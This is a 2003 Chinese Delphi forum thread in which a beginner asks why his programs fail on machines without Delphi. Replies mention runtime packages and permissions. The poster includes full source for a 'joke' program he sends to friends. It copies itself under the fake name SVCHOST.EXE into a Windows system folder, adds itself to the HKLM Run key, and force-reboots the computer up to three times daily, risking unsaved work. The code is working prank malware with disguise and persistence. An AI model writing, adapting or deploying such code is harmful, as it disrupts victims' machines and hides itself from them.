各位大侠!救命啊!程序的简单怪问题!!!
我编了一个在特定情况下重新启动机器的程序
该程序为系统一启动就加载(修改注册表),并可以自我复制到特定的目录里
还有一个程序是删除上面那个程序的
程序是得到硬盘的序列号,然后判断密码是否正确,便删除文件和删除注册表中上面哪个程序的启动建值
这两个程序在我这里没出一点问题,但我发给其他没有安装DELPHI的朋友时,那个重启机器的就不能自我复制了,那个删除程序跟本就不能运行,但这两个程序发给一个有装DELPHI的朋友,他就能正常的运行
请问DELPHI是不是和VB一样要带些什么库文件的啊?请高手指点指点!!
问题点数:20、回复次数:10Top
1 楼boby(......)回复于 2003-11-04 06:58:38 得分 5
你选择了什么样的编译方式,是否选择了build with runtime packagesTop
2 楼Mrkang(谁比我菜我不愿意)回复于 2003-11-04 08:14:16 得分 5
搂主好厉害,能否给我一份源代码阿,谢谢,!!kbfmail@sina.comTop
3 楼kejian(御剑飞仙)回复于 2003-11-04 10:00:03 得分 5
我知道了,你朋友的操作系统是NT系列的是吧?
也许是她系统权限不足!!
那就改不了注册表之类的了.Top
4 楼cuiang(天外化石)回复于 2003-11-04 11:40:15 得分 0
楼上的大侠,可以的,注册表就改了,就是复制不了文件
第2个连运行都运行不了Top
5 楼cuiang(天外化石)回复于 2003-11-04 11:43:22 得分 0
你选择了什么样的编译方式,是否选择了build with runtime packages
对不起!我太菜了!请问什么叫build with runtime packages啊?
在那里有得选择啊?Top
6 楼cuiang(天外化石)回复于 2003-11-04 11:47:22 得分 0
重启计算机的代码:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls,registry,regstr, ImgList;
type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Button1: TButton;
Button2: TButton;
Edit4: TEdit;
ImageList1: TImageList;
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
time:integer;
registertemp:tregistry;
implementation
{$R *.dfm}
//自定义重启函数
function My_ExitWindows(M_1Reboot_2Power: integer): Boolean; //重启(M:=1).关机(M:=2)
var
hToken: THANDLE;
hProc: THANDLE;
mLUID: TLargeInteger;
mPriv, mNewPriv: TOKEN_PRIVILEGES;
mBufferLength: DWord;
begin
Result:=false;
if not (M_1Reboot_2Power in [1, 2]) then exit;
hProc := GetCurrentProcess();
OpenProcessToken(hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken);
LookupPrivilegeValue('', 'SeShutdownPrivilege', mLUID);
mPriv.PrivilegeCount := 1;
mPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
mPriv.Privileges[0].Luid := mLUID;
AdjustTokenPrivileges(hToken, False, mPriv, (4 + (12 * mPriv.PrivilegeCount)), mNewPriv, mBufferLength);
GetLastError;
case M_1Reboot_2Power of
1: Result := ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);//重起
2: Result := ExitWindowsEx(EWX_FORCE+EWX_POWEROFF, 0);//关机
end;
end;
//====================
procedure TForm1.Timer1Timer(Sender: TObject);
begin
self.Hide; //隐藏窗口
timer1.Enabled :=false;
end;
procedure TForm1.Timer2Timer(Sender: TObject);//重启计时
begin
time:=time-1;
if time mod 10=0 then
begin
if time=0 then
begin
timer2.Enabled :=false;
my_exitwindows(1);//1重起2关机//调用重启函数
messagedlg('正在重新启动您的计算机!',mtwarning,[mbok],0);
end
else
begin
messagedlg('离重新启动您的计算机还有' + inttostr(time) + '秒,请你保存好你正在运行的程序,以免掉失数据。程序每日只会重新启动3次。本程序纯属为你开个玩笑,并不会破坏和盗取你计算机上的任何文件,如果你觉得这个程序妨碍你的工作,请与QQ:13913966联系!',mtwarning,[mbok],0);
end;
end;
edit1.Text :=inttostr(time);
end;
procedure TForm1.FormCreate(Sender: TObject);
var
myday,myrun:string;
begin
edit4.Text:=DateToStr(Date); //取出当前日期
myday:=edit4.Text;//把当前日期付给myday
time:=61;//设定启动时间
//自我复制文件
copyfile(pchar(application.exename),pchar('c:\windows\system32\wins\SVCHOST.EXE'),true);
//写入注册表
registertemp:=tregistry.create;//准备使用注册表
with registertemp do
begin
registertemp.rootkey:=hkey_local_machine;//存放在此根下
registertemp.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
registertemp.WriteString('SVCHOST','c:\windows\system32\wins\SVCHOST.EXE');
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end;
//===========================================
registertemp:=tregistry.create;//准备使用注册表
with registertemp do
begin
registertemp.rootkey:=hkey_local_machine;
registertemp.OpenKey('SOFTWARE\retime',true);
if registertemp.ReadString('retime') ='' then//如果retime还没有
registertemp.WriteString('retime','3');//就新建一个,并且付值为3
myrun:=registertemp.ReadString('day');//读出DAY付给myrun
if registertemp.ReadString('day')='' then//检查myrun是否存在
begin
//showmessage('DAY不存在');
if registertemp.ReadString('retime')='3' then//3次都未执行
begin
registertemp.WriteString('retime','2'); //改为2次
timer2.Enabled:=true;//打开计时
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end
else if registertemp.ReadString('retime')='2'then
begin
registertemp.WriteString('retime','1');
timer2.Enabled :=true;
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end
else if registertemp.ReadString('retime')='1' then
begin
registertemp.WriteString('retime','3');//重新定为3次
registertemp.WriteString('day',myday);//建立day子建,并把当前日期付给它
timer2.Enabled :=true;
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end;
end
else if myrun<>myday then//如果注册表所记录日期不等于当前日期个话:
begin
if registertemp.ReadString('retime')='3' then//3次都未执行
begin
registertemp.WriteString('retime','2'); //改为2次
timer2.Enabled:=true;//打开计时
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end
else if registertemp.ReadString('retime')='2'then
begin
registertemp.WriteString('retime','1');
timer2.Enabled :=true;
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end
else if registertemp.ReadString('retime')='1' then
begin
registertemp.WriteString('retime','3');//重新定为3次
registertemp.WriteString('day',myday);//建立day子建,并把当前日期付给它
timer2.Enabled :=true;
registertemp.CloseKey ; //关闭注册表
registertemp.free;//结束使用注册表
end;
end
//else if myrun=myday then//如果当前日期相同
//application.Terminate; //终止程序
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
copyfile(pchar(application.exename),pchar('c:\windows\system32\wins\SVCHOST.EXE'),true);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
deletefile('c:\windows\system32\wins\SVCHOST.exe');
end;
end.
高手请指点!!!Top
7 楼boby(......)回复于 2003-11-04 15:54:46 得分 5
在project option 菜单中有该选项,如果选中的话,程序本身会很小,一些包在运行时才调用Top
8 楼steventone(心兰)回复于 2003-11-04 16:38:44 得分 0
upTop
9 楼cuiang(天外化石)回复于 2003-11-04 22:49:36 得分 0
你选择了什么样的编译方式,是否选择了build with runtime packages
在project option 菜单中有该选项,如果选中的话,程序本身会很小,一些包在运行时才调用
大侠!不见有这个选项啊,我用的是Delphi7啊,能不能详细说说,我用DELPHI才1个星期左右啊,还很菜啊!千万不要见怪!Top
10 楼cuiang(天外化石)回复于 2003-11-05 16:19:12 得分 0
upTop




